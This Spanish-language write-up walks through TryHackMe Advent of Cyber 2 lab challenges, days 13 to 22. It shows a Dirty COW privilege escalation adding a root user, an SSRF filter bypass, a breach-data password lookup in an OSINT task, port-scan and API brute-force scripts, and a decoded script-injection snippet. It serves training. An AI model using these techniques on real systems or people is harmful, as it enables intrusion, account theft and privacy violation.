En la maquina existe un archivo el cual está escrito en C, que al realizar una busqueda de una porcion de codigo encontramos que es parte del exploit de dirtycow. Aunque en la descripcion del reto se explica esta parte.
image

PRIVILEGE ESCALATION

Utilizando el codigo fuente del exploit encontrado en la maquina para obtener una shell con usuario root, copiando el codigo fuente a la maquina, compilar y ejecutar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ls -lah
total 44K
drwxr-xr-x 3 santa santa 4.0K Dec 15 00:46 .
drwxr-xr-x 3 root  root  4.0K Nov 21 20:37 ..
drwx------ 2 santa santa 4.0K Nov 21 20:37 .cache
-rwxr-xr-x 1 santa santa 1.4K Nov 21 20:37 christmas.sh
-rw-r--r-- 1 santa santa 2.9K Nov 21 20:37 cookies_and_milk.txt
-rwxrwxr-x 1 santa santa  14K Dec 15 00:46 dirty
-rw-rw-r-- 1 santa santa 4.8K Dec 14 18:45 dirty.c
$ chmod +x dirty
$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash

mmap: 7f4c58c6b000

madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'test'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'test'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
$ su firefart
Password: 
firefart@christmas:/# cd /root
firefart@christmas:~# ls -lah
total 24K
drwx------  2 firefart root 4.0K Nov 21 20:38 .
drwxr-xr-x 24 firefart root 4.0K Nov 21 20:38 ..
-rw-------  1 firefart root    0 Nov 21 20:38 .bash_history
-rw-r--r--  1 firefart root 3.1K Apr 19  2012 .bashrc
-rwxr-xr-x  1 firefart root 1.4K Nov 21 20:37 christmas.sh
-rw-r--r--  1 firefart root  611 Nov 21 20:37 message_from_the_grinch.txt
-rw-r--r--  1 firefart root  140 Apr 19  2012 .profile
firefart@christmas:~# cat mess*
Nice work, Santa!

Wow, this house sure was DIRTY!
I think they deserve coal for Christmas, don't you?
So let's leave some coal under the Christmas `tree`!

Let's work together on this. Leave this text file here,
and leave the christmas.sh script here too...
but, create a file named `coal` in this directory!
Then, inside this directory, pipe the output
of the `tree` command into the `md5sum` command.

The output of that command (the hash itself) is
the flag you can submit to complete this task
for the Advent of Cyber!

	- Yours,
		John Hammond
		er, sorry, I mean, the Grinch

	  - THE GRINCH, SERIOUSLY

firefart@christmas:~# touch coal
firefart@christmas:~# tree | md5sum
8b16f0[... SNIP ...]f7f8427cc  -
firefart@christmas:~#

DAY 14 - Where’s Rudolph?

Se presenta un reto en el cual involucra un nombre de usuario: IGuidetheClaus2020. con el cual debemos de recabar informacion utilizando fuentes de datos abiertas (OSINT). Para las tareas del 1-5 debemos de indagar en el subreddit de este usuario, para la 6-11 en su cuenta de Twitter.

  • 1: https://www.reddit.com/user/IGuidetheClaus2020/comments/

  • 2: https://www.reddit.com/r/books/comments/jsvby8/chicago_public_library_says_eliminating_fines_has/gdjz4ef/?context=3

  • 3: Como se menciona en esta tarea, utilizamos Google para buscar el apellido del Creador de Rudolph.
    image

  • 4: En los resultados de busqueda de Google aparece el usuario en: Twitter

  • 5: Su cuenta de usuario: @IGuideClaus2020

  • 6: De acuerdo con su cuenta de twitter, a este usuario parece interesarle el programa de TV Bachelorette el cual tiene más retwitts y “favs”.

  • 7: En uno de sus twitts se presentan dos imagenes las cuales utilizamos para obtener la ubicacion del estado donde fueron tomadas, con Google Images: Chicago

  • 8: En uno de sus twitts escribe la URL de la imagen en “alta resolucion” del lugar donde desfiló. Utilizando Jeffrey's Image Metadata Viewer logramos obtener la ubicacion de GPS (EXIF: Latitude y Longitude).

  • 9: Con la pagina en la tarea anterior tambien encontramos la flag.

  • 10: En la cuenta de twitter especificamente en su biografia, aparece un correo electronico. Con la ayuda de scylla.sh logramos obtener la contraseña de su correo electronico.

  • 11: Utilizando la ubicacion (longitud/latitud) que encontramos en la Tarea 8, buscamos el numero de calle del hotel más cercano donde se hospedó.
    image

Del porqué esa direccion, es porque tambien mencionó en uno de sus twitts que la foto era cerca de su hotel y tiempo despues mencionó el hotel Marriot.
image

DAY 15 - Scripting

Se presenta una serie de tareas relacionadas al lenguaje de programacion Python las cuales es posible resolver con la descripcion del reto del dia y utilizando una consola de Python.

Spoiler warning
    What's the output of True + True?
    2

    What's the database for installing other peoples libraries called?
    Pypi

    What is the output of bool("False")?
    True

    What library lets us download the HTML of a webpage?
    requests

    What is the output of the program provided in "Code to analyse for Question 5" in today's material?
    [1, 2, 3, 6]

    What causes the previous task to output that?
    pass by reference

DAY 16 - Scripting

Continuando con scripting, se presenta una maquina a la cual hay que encontrar:

  • Puerto donde esta corriendo la pagina web.
  • Un directorio/pagina oculta.
  • Numero impar correcto de la API key.

Utilizando el modulo python-nmap de PyPI creamos un pequeño script para escaneo de puertos, con el cual encontramos el puerto 8000 abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
import nmap

host = '10.10.133.55'

nm = nmap.PortScanner()
nm.scan(host, '-p- --min-rate 1000 -sV')

for host in nm.all_hosts():
    print('----------------------------------------------------')
    print( 'Host:{} {}'.format(host, nm[host].hostname()) )
    print( 'Estado: {}'.format(nm[host].state()) )
    print('----------------------------------------------------')
    
    for i in nm[host].all_protocols():
      print('Protocolo: {}'.format(i))
      print('----------------------------------------------------')
        ports = nm[host][i].keys()
        ports.sort()

        for port in ports:
          print('Puerto: {} \t Estado: {}'.format(port, nm[host][i][port]["state"]))
1
2
3
4
5
6
7
8
9
kali@kali:~/thm/adventcyber2$ python script2.py 
----------------------------------------------------
Host:10.10.133.55 10.10.133.55
Estado: up
----------------------------------------------------
Protocolo: tcp
----------------------------------------------------
Puerto: 8000   Estado: open
kali@kali:~/thm/adventcyber2$ 

Nuevamente utilizando Python y con la lo aprendido el Dia 15 extrajimos todos las direcciones o links dentro de la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
from bs4 import BeautifulSoup

url = "http://10.10.133.55:8000/static/index.html"
req = requests.get(url)
soup = BeautifulSoup(req.content, 'lxml')
links =  soup.find_all("a")

for link in links:
  print(link.get('href'))
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kali@kali:~/thm/adventcyber2$ python script3.py 
../
None

https://github.com/BulmaTemplates/bulma-templates/blob/master/templates/hero.html
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
https://tryhackme.com
#
#
#
#
#
#
#
#
#
http://machine_ip/api/api_key
#
#
#
#
#
#
#
#
#
https://github.com/BulmaTemplates/bulma-templates
https://github.com/BulmaTemplates/bulma-templates

Para poder encontrar el valor correcto de la api_key utilizamos un pequeño script el cual realizaba solicitude hacia la API.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python
import requests

url = "http://10.10.133.55:8000/api/"

for i in range(0,100):
  n = i if i%2 != 0 else 0

  if n != 0:
    print(str(n))
    req = requests.get(url+str(n))
    print(req.text)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
kali@kali:~/thm/adventcyber2$ python script4.py 
1
{"item_id":1,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
3
{"item_id":3,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
5
{"item_id":5,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
7
{"item_id":7,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
9
{"item_id":9,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
11
{"item_id":11,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
13
{"item_id":13,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
15
[... snip ...]
55
{"item_id":55,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
57
{"item_id":57,"q":"Winter Wonderland, Hyde Park, London."}
59
{"item_id":59,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
61
{"item_id":61,"q":"SANTA PROTECTION MECHANISM ACTIVATED."}
63
^C

DAY 17 - Reverse Engineering

Las instrucciones para el reto del dia incluyen utilizar la herramienta radare2 el cual es un framework para realizar ingenieria inversa y analisis de binarios. La descripcion del reto es suficiente para obtener las respuestas.

  • Valor de local_ch cuando la instruccion movl es “ejecutada”.
  • El valor de eax cuando la instruccion ìmull es “ejecutada”.
  • El valor de local_4h despues de que eax tiene el valor 0.

Se inicia radare2 con el archivo challenge1, se indica que se realizará un analisis con el “comando” aa. Con el “comando” afl listamos todas las funciones presentes en el archivo y junto con | grep main “filtramos” los valores de la funcion principal main. Con el nombre de la funcion se realiza un desensamblado de la funcion con el “comando” pdf @sym.main o pdf @main, lo que mostrará el codigo en ensamblador para su analisis.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
elfmceager@tbfc-day-17:~$ r2 -d ./challenge1
Process with PID 1506 started...
= attach 1506 1506
bin.baddr 0x00400000
Using 0x400000
Warning: Cannot initialize dynamic strings
asm.bits 64
[0x00400a30]> aa
[ WARNING : block size exceeding max block size at 0x006ba220
[+] Try changing it with e anal.bb.maxsize
 WARNING : block size exceeding max block size at 0x006bc860
[+] Try changing it with e anal.bb.maxsize
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400a30]> afl |grep main
0x00400b4d    1 35           sym.main
0x00400de0   10 1007 -> 219  sym.__libc_start_main
0x00403840   39 661  -> 629  sym._nl_find_domain
0x00403ae0  308 5366 -> 5301 sym._nl_load_domain
0x00415ef0    1 43           sym._IO_switch_to_main_get_area
0x0044ce10    1 8            sym._dl_get_dl_main_map
0x00470430    1 49           sym._IO_switch_to_main_wget_area
0x0048f9f0    7 73   -> 69   sym._nl_finddomain_subfreeres
0x0048fa40   16 247  -> 237  sym._nl_unload_domain
[0x00400a30]> pdf @sym.main
            ;-- main:
/ (fcn) sym.main 35
|   sym.main ();
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x00400a4d (entry0)
|           0x00400b4d      55             push rbp
|           0x00400b4e      4889e5         mov rbp, rsp
|           0x00400b51      c745f4010000.  mov dword [local_ch], 1
|           0x00400b58      c745f8060000.  mov dword [local_8h], 6
|           0x00400b5f      8b45f4         mov eax, dword [local_ch]
|           0x00400b62      0faf45f8       imul eax, dword [local_8h]
|           0x00400b66      8945fc         mov dword [local_4h], eax
|           0x00400b69      b800000000     mov eax, 0
|           0x00400b6e      5d             pop rbp
\           0x00400b6f      c3             ret
[0x00400a30]>

Para resolver la primera pregunta debemos de ubicarnos donde se encuentra la instruccion mov, donde agregámos un breakpoint para que cuando ejecutemos el programa, este haga una pausa y poder analisar el valor de local_ch. Tambien necesitamos la direccion en memoria de local_ch (las primeras lineas de la funcion main) que tiene como valor rbp-0xc. En el siguiente codigo se muestran ambas lineas.

1
2
3
; var int local_ch @ rbp-0xc
[... snip ...]
|           0x00400b51      c745f4010000.  mov dword [local_ch], 1

Para agregar un breakpoint lo realizamos con el “comando” db direcciondememoria, quedaria de la siguiente forma: db 0x00400b51, ejecutamos el programa con el “comando” dc, vemos un mensaje que la ejecucion está en “pausa” en la direccion 400b51 (la indicada con db 0x00400b51) y al mostrar el codigo (pdf @sym.main) vemos resaltada la direccion de memoria y el breakpoint (una pequeña b).
image

Si revisamos el valor actual de local_ch vemos que es 0000 , porque la direccion de memoria a la que estamos realizando lectura hace referencia al valor inicial al inicio de la funcion main (; var int local_ch @ rbp-0xc) es por ello que hay que realizar un “paso siguiente” con el “comando” ds para obtener el valor de local_ch. Vemos que su valor es 0100.
image

Para la segunda pregunta creamos un breakpoint en la direccion de memoria de la instruccion imul (db 0x00400b62).

1
|           0x00400b62      0faf45f8       imul eax, dword [local_8h]

Nuevamente vemos el breakpoint, realizamos un “paso siguiente” (ds) y la lectura del valor de eax con el “comando” dr (valor de rax).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[0x00400a30]> db 0x00400b62
[0x00400a30]> dc
hit breakpoint at: 400b62
[0x00400b62]> pdf @main
            ;-- main:
/ (fcn) sym.main 35
|   sym.main ();
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x00400a4d (entry0)
|           0x00400b4d      55             push rbp
|           0x00400b4e      4889e5         mov rbp, rsp
|           0x00400b51      c745f4010000.  mov dword [local_ch], 1
|           0x00400b58      c745f8060000.  mov dword [local_8h], 6
|           0x00400b5f      8b45f4         mov eax, dword [local_ch]
|           ;-- rip:
|           0x00400b62 b    0faf45f8       imul eax, dword [local_8h]
|           0x00400b66      8945fc         mov dword [local_4h], eax
|           0x00400b69      b800000000     mov eax, 0
|           0x00400b6e      5d             pop rbp
\           0x00400b6f      c3             ret
[0x00400b62]> ds
[0x00400b62]> dr
rax = 0x00000006
rbx = 0x00400400

[ ... snip ... ]

[0x00400b62]>

Para resolver la ultima pregunta debemos de crear un breakpoint en:

1
|           0x00400b69      b800000000     mov eax, 0

Y obtener el valor de local_4h (rbp-0x4).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
[0x00400a30]> pdf @main
            ;-- main:
/ (fcn) sym.main 35
|   sym.main ();
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x00400a4d (entry0)
|           0x00400b4d      55             push rbp
|           0x00400b4e      4889e5         mov rbp, rsp
|           0x00400b51      c745f4010000.  mov dword [local_ch], 1
|           0x00400b58      c745f8060000.  mov dword [local_8h], 6
|           0x00400b5f      8b45f4         mov eax, dword [local_ch]
|           0x00400b62      0faf45f8       imul eax, dword [local_8h]
|           0x00400b66      8945fc         mov dword [local_4h], eax
|           0x00400b69      b800000000     mov eax, 0
|           0x00400b6e      5d             pop rbp
\           0x00400b6f      c3             ret
[0x00400a30]> db 0x00400b69
[0x00400a30]> dc
hit breakpoint at: 400b69
[0x00400b69]> pdf @main
            ;-- main:
/ (fcn) sym.main 35
|   sym.main ();
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x00400a4d (entry0)
|           0x00400b4d      55             push rbp
|           0x00400b4e      4889e5         mov rbp, rsp
|           0x00400b51      c745f4010000.  mov dword [local_ch], 1
|           0x00400b58      c745f8060000.  mov dword [local_8h], 6
|           0x00400b5f      8b45f4         mov eax, dword [local_ch]
|           0x00400b62      0faf45f8       imul eax, dword [local_8h]
|           0x00400b66      8945fc         mov dword [local_4h], eax
|           ;-- rip:
|           0x00400b69 b    b800000000     mov eax, 0
|           0x00400b6e      5d             pop rbp
\           0x00400b6f      c3             ret
[0x00400b69]> px @ rbp-0x4
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7fff5ff5ce7c  0600 0000 4018 4000 0000 0000 e910 4000  ....@.@.......@.
0x7fff5ff5ce8c  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff5ff5ce9c  0100 0000 a8cf f55f ff7f 0000 4d0b 4000  ......._....M.@.
0x7fff5ff5ceac  0000 0000 0000 0000 0000 0000 0600 0000  ................
0x7fff5ff5cebc  5500 0000 5000 0000 0700 0000 0000 0000  U...P...........
0x7fff5ff5cecc  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff5ff5cedc  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff5ff5ceec  0000 0000 0004 4000 0000 0000 f9c4 2eff  ......@.........
0x7fff5ff5cefc  5fdd 6099 e018 4000 0000 0000 0000 0000  _.`...@.........
0x7fff5ff5cf0c  0000 0000 1890 6b00 0000 0000 0000 0000  ......k.........
0x7fff5ff5cf1c  0000 0000 f9c4 8e52 3462 9e66 f9c4 9aee  .......R4b.f....
0x7fff5ff5cf2c  5fdd 6099 0000 0000 0000 0000 0000 0000  _.`.............
0x7fff5ff5cf3c  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff5ff5cf4c  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff5ff5cf5c  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff5ff5cf6c  0000 0000 0000 0000 0000 0000 0000 0000  ................
[0x00400b69]>

DAY 18 - Reverse Engineering

Continuando con Ingenieria Inversa, esta vez con un archivo escrito en .NET, para su analisis utilizamos la herramienta que provee THM: ILSpy, en la maquina ofrecida en el reto del dia.

Al ejecutar el archivo pregunta por una contraseña, y al ingresar un string cualquiera nos muestra un mensaje.
image
image

Utilizando ILSpy para analizar el archivo vemos varias funciones de la aplicacion dentro del Formulario principal que manejan los diferentes componentes como botones, labels, textbox, etc., una de estas analiza que la contraseña ingresada sea a la misma que se encuentra en un “Array”. Tambien se logra ver los mensaje de cuando la contraseña es incorrecta y correcta.
image

Al dirigirnos al “array” que contiene la contraseña, aunque no aparece en texto plano la informacion que se encuentra comentada (data(…)) podria darnos el valor ya que el la aplicacion no logra obtener dicho valor.
image

La informacion esta en hexadecimal por lo que al decodificarlo vemos la contraseña. El valor final 00 se omite ya que hace referencia al final del “string”.

1
2
73 61 6E 74 61 70 61 73 73 77 6F 72 64 33 32 31 
santapassword321

Ingresamos la contraseña encontrada y vemos un mensaje junto con nuestra flag.
image

DAY 19 - The Naughty or Nice List

La descripcion del reto del dia indica que la aplicacion web es vulnerable a Server-Side Request Forgery (SSRF) y que al hacer bypass al filtro de hostname debemos utilizar localtest.me para que funcione. Al visitar la aplicacion vemos una caja de busqueda y tambien un formulario para ingresar credenciales.
image
image

Al revisar el codigo fuente vemos que la caja de busqueda realiza la ejecucion de la funcion checkList().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<div class="col-lg-6 col-md-6 col-sm-12">
   Welcome children!<br /><br />
   To find out if you are currently on the naughty list or the nice list, please enter your name below!<br /><br />
   Have a Merry Christmas! Ho ho ho!<br /><br />
   - Santa<br /><br />
   <form onsubmit="checkList(); return false">
      Name: <input name="name" id="name">
      <input type="submit" value="Search">
   </form>
   <script>
      function checkList()
      {
              window.location.replace("/?proxy=" + encodeURIComponent("http://list.hohoho:8080/search.php?name=" + encodeURIComponent(document.getElementById("name").value)));
      }
   </script>
   <br />
</div>

La funcion realiza la codificacion de la direccion http://list.hohoho:8080/search.php?name= a URI junto con la codificacion (URI) del valor ingresado en la cajita que tiene como id el valor name, al finalizar esta codificacion creada se pasa como valor del parametro proxy en la pagina principal, de tal forma que quedaria de la siguiente forma si el valor a buscar fuera santa.com:

1
2
window.location.replace("/?proxy=" + encodeURIComponent("http://list.hohoho:8080/search.php?name=" + encodeURIComponent(document.getElementById("name").value)));
// /?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3Dsanta.com

Al realizar cualquier busqueda (ej. batman) este retorna el mensaje batman is on the Nice List., si se realiza una busqueda sin valor solo retorna is on the Nice List., dicha busqueda se pasa a una “pagina interna”: http://list.hohoho:8080 a la cual seguramente realiza una solicitud.

Si enviamos el puerto incorrecto (ej. http%3A%2F%2Flist.hohoho%3A80%2Fsearch.php%3Fname%3Dbatman) este nos retorna el valor Failed to connect to list.hohoho port 80: Connection refused, si cambiamos el valor de la pagina list.hohoho a una IP retorna Your search has been blocked by our security team. lo que indica que la aplicacion verifica o filtra que el valor de “proxy” sea list.hohoho, de igual forma con algun otro dominio.

Como sabemos la aplicacion es vulnerable a SSRF por lo que es posible realizar bypass al filtro de list.hohoho utilizando localtest.me agregando este ultimo a la direccion aceptada por la pagina: list.hohoho.localtest.me, existen otros valores que pueden ser reemplazados por localtest.me: lvh.me y vcap.me.

Al realizar la solicitud a esta nueva direccion se muestra un nuevo mensaje en la pagina y contiene informacion para el panel que se encuentra en la pagina:
image

Al ingresar con la contraseña y el usuario el cual tambien se define en el mensaje nos redirecciona a una nueva pagina, al pulsar el boton en esta nos muestra nuestra flag final.
image
image

DAY 20 - PowershELlF to the rescue

El reto del dia incluye utilizar PowerShell y encontrar archivos y strings dentro de estos, la informacion en la descripcion del reto es suficiente para resolver las tareas. Para la primera tarea nos ubicamos en la direccion de Documents y realizamos la busqueda de un archivo oculto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PS C:\Users\mceager> Set-Location Documents\ 
PS C:\Users\mceager\Documents> Get-ChildItem -File -Hidden -ErrorAction SilentlyContinue 


    Directory: C:\Users\mceager\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-        12/7/2020  10:29 AM            402 desktop.ini
-arh--       11/18/2020   5:05 PM             35 e1fone.txt


PS C:\Users\mceager\Documents> Get-Content e1fone.txt 
All I want is my '2 front teeth'!!! 
PS C:\Users\mceager\Documents>

Para la segunda tarea, realizamos de manera similar que la primera tarea pero en este caso buscamos un folder o directorio que especificamos con -Directory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\mceager> Set-Location -Path Desktop\
PS C:\Users\mceager\Desktop> Get-ChildItem -Directory -Hidden -ErrorAction SilentlyContinue


    Directory: C:\Users\mceager\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/7/2020  11:26 AM                elf2wo


PS C:\Users\mceager\Desktop> Get-ChildItem -File -Path elf2wo\ -ErrorAction SilentlyContinue


    Directory: C:\Users\mceager\Desktop\elf2wo


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/17/2020  10:26 AM             64 e70smsW10Y4k.txt


PS C:\Users\mceager\Desktop> Get-Content elf2wo\e70smsW10Y4k.txt
I want the movie Scrooged <3! 
PS C:\Users\mceager\Desktop>

Para la tercera tarea nos pide que realicemos la busqueda de un directorio oculto en C:\Windows, como sabemos este directorio contiene un centenar de archivos por lo que al realizar la busqueda de la misma manera que en la segunda tarea nos retornaria una gran cantidad de directorios, si nos fijamos en los archivos y directorios que encontramos contienen un numero representado por el numero de tarea en este caso seria el numero 3 el cual utilizamos para filtrar los archivos que solo contengan este numero.

1
2
3
4
5
6
7
8
9
PS C:\Windows> Get-ChildItem -Directory -Recurse -Filter '*3*' -Hidden -ErrorAction SilentlyContinue


    Directory: C:\Windows\System32


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--       11/23/2020   3:26 PM                3lfthr3e

En el directorio que encontramos obtenemos la lista de archivos ocultos y el numero de “palabras” que contiene el primero.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Windows> Set-Location System32\3lfthr3e
PS C:\Windows\System32\3lfthr3e> Get-ChildItem -File -Hidden -ErrorAction SilentlyContinue


    Directory: C:\Windows\System32\3lfthr3e


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--       11/17/2020  10:58 AM          85887 1.txt
-arh--       11/23/2020   3:26 PM       12061168 2.txt


PS C:\Windows\System32\3lfthr3e> Get-Content -Path 1.txt | Measure-Object -Word

Lines Words Characters Property 
----- ----- ---------- --------
       9999


PS C:\Windows\System32\3lfthr3e>

Obtenemos las palabras segun el index indicado (551 y 6991):

1
2
3
4
5
PS C:\Windows\System32\3lfthr3e> (Get-Content -Path 1.txt)[551]
Red
PS C:\Windows\System32\3lfthr3e> (Get-Content -Path 1.txt)[6991]
Ryder 
PS C:\Windows\System32\3lfthr3e>

En la ultima tarea debemos de buscar las dos palabras anteriores (Red Ryder) dentro del archivo 2.txt para ello utilizamos Select-String con -Pattern y con la ayuda de la pista dada.

1
2
3
4
5
6
7
PS C:\Windows\System32\3lfthr3e> Get-Content -Path 2.txt | Select-String -pattern "Red Ryder"
PS C:\Windows\System32\3lfthr3e> Get-Content -Path 2.txt | Select-String -Pattern "redryder"

redryderbbgun 


PS C:\Windows\System32\3lfthr3e>

DAY 21 - Time for some ELForensics

En el reto del dia se presentan algunos ejecutables los cuales pueden ayudar a obtener informacion e identificar archivos, el objetivo es poder encontrar el conector de la base de datos oculto utilizando tecnicas forenses-investigativas.

  • 1: Debemos de obtener el hash MD5 del archivo db.exe en el archivo de texto en Documents\.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PS C:\Users\littlehelper\Documents> dir


    Directory: C:\Users\littlehelper\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/23/2020  11:21 AM             63 db file hash.txt
-a----       11/23/2020  11:22 AM           5632 deebee.exe


PS C:\Users\littlehelper\Documents> gc "db file hash.txt"
Filename:       db.exe
MD5 Hash:       596690FFC54AB6101932856E6A78E3A1
PS C:\Users\littlehelper\Documents>
  • 2: obtener el hash MD5 del archivo ejecutable en Documents\.
    What is the file hash of the mysterious executable within the Documents folder?
1
2
3
4
5
6
7
8
PS C:\Users\littlehelper\Documents> Get-FileHash -Algorithm MD5 deebee.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             5F037501FB542AD2D9B06EB12AED09F0                                       C:\Users\littlehelper\Documents\deebee.exe


PS C:\Users\littlehelper\Documents>
  • 3: Utilizando strings debemos de encontrar la flag dentro del ejecutable anterior.
1
2
3
4
5
6
PS C:\Users\littlehelper\Documents> c:\Tools\strings64.exe -accepteula deebee.exe | Select-String -pattern "{"

THM{f6187e6cb[... snip ...]3e108cb6f9}


PS C:\Users\littlehelper\Documents>
  • 4: La flag que se muestra al ejecutar el archivo anterior. Al ejecutar vemos una flag que desaparece rapidamente. Verificamos los Alternate Data Streams que mencionan y vemos que existe un stream llamado hidedb.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\littlehelper\Documents> Get-Item -Path deebee.exe -Stream *


PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents\deebee.exe::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents
PSChildName   : deebee.exe::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\littlehelper\Documents\deebee.exe
Stream        : :$DATA
Length        : 5632

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents\deebee.exe:hidedb
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents
PSChildName   : deebee.exe:hidedb
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\littlehelper\Documents\deebee.exe
Stream        : hidedb
Length        : 6144



PS C:\Users\littlehelper\Documents>

Ejecutamos el archivo (stream) oculto y nos muestra la flag que necesitabamos.
image

DAY 22 - Elf McEager becomes CyberElf

En el reto del dia presentan una serie de retos que consiste en decodificar cadenas de texto utilizando la herramienta CyberChef.

  • 1: What is the password to the KeePass database?, encontramos una carpeta en el escritorio la cual tiene un nombre codificado en base64, utilizamos CyberChef para obtener decodificar el texto que es la contraseña de KeePass.
    image

  • 2: What is the encoding method listed as the ‘Matching ops’?, en la categoria principal Private encontramos una contraseña la cual ya esta en texto plano, al revisar el historial vemos otra la cual parece estar codificada. Utilizando Magic de CyberChef vemos el tipo de codificacion (el segundo) el cual sugiere Magic podriamos utilizar.
    image
    image

  • 3: What is the decoded password value of the Elf Server?, en la categoria Networking encontramos una contraseña la cual esta codificada en Hexadecimal.
    image
    image

  • 4: What is the decoded password value for ElfMail?, en la categoria eMail encontramos la contraseña que esta codificada en HTML entities.
    image
    image

  • 5: Decode the last encoded value. What is the flag?, en la categoria Recycle Bin encontramos una contraseña en texto plano pero en la descripcion de esta encontramos codigo JavaScript que esta evaluando una cadena de caracteres en Unicode. Utilizamos From Charcode eliminando el codigo Javascript para obtener en texto plano lo que esta codificado, vemos que es codigo Javascript y dentro de este vemos tambien que hay caracteres Unicode.
    image
    image

Obtuvimos los valores reales de los valores unicode, lo que indica una URL y un “hash”(?), visitamos la URL con el “hash” y vemos nuestra flag.
La pista tambien nos indica que agreguemos dos veces From Charcode y nos devuelve: ............https://gist.github.com/heavenraiza/....................1d321244c4d667446dbfd9a3298a88b8...........

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
var somestring = document.createElement('script');
somestring.type = 'text/javascript';
somestring.async = true;
somestring.src = String.fromCharCode(104, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 104, 101, 97, 118, 101, 110, 114, 97, 105, 122, 97, 47);

